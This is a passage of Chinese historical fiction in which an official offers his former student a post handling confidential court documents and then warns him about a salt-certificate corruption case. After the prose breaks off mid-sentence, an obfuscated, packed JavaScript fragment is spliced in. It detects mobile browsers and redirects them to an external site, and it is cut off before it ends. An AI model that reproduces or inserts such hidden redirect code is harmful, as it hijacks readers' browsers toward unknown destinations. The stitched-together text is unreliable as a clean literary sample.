陆砚清一怔。“学生不明白老师的意思。”
“你的才学,在翰林院做个编修,屈才了。”陈文渊没有回头,“吏部那边有个缺,掌机要文书,秩从五品,比你现在高两级。你若有意,我可以替你去说。”
陆砚清没有说话。他知道那个职位——掌机要文书,听起来只是一份誊抄的工作,实际上是行走在权力中枢的枢纽。所有重要的奏章、密奏、内阁票拟,都要经过他的手。坐在那个位置上,就等于握住了整个朝堂的信息命脉。多少人争破了头想要那个位置,但陈文渊说可以替他去说。
“多谢老师抬爱。”陆砚清的声音依然平静,“但学生才疏学浅,恐难胜任。”
陈文渊转过身来,看着他,目光里有一丝复杂的神色。“你是怕树大招风,还是有什么别的顾虑?”
“学生只是在翰林院待惯了,不想挪地方。”
陈文渊盯着他看了好一会儿,然后叹了口气。“也罢。你不愿去,我也不勉强。只是……”他顿了顿,“砚清,有些事,不是你不想卷进去,就卷不进去的。这份盐引案牍,你好好理。理清楚了,是你的功劳;理不清楚,是你的祸。”
他说完,端起茶杯把剩下的茶一饮而尽,放下杯子,大步走了。
陆砚清站在案前,目送他的背影消失在门外。他的手垂在身侧,指尖微微发凉。陈文渊说的最后那句话,他知道是什么意思——盐引案不是简单的贪污案,背后牵涉的是朝堂上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g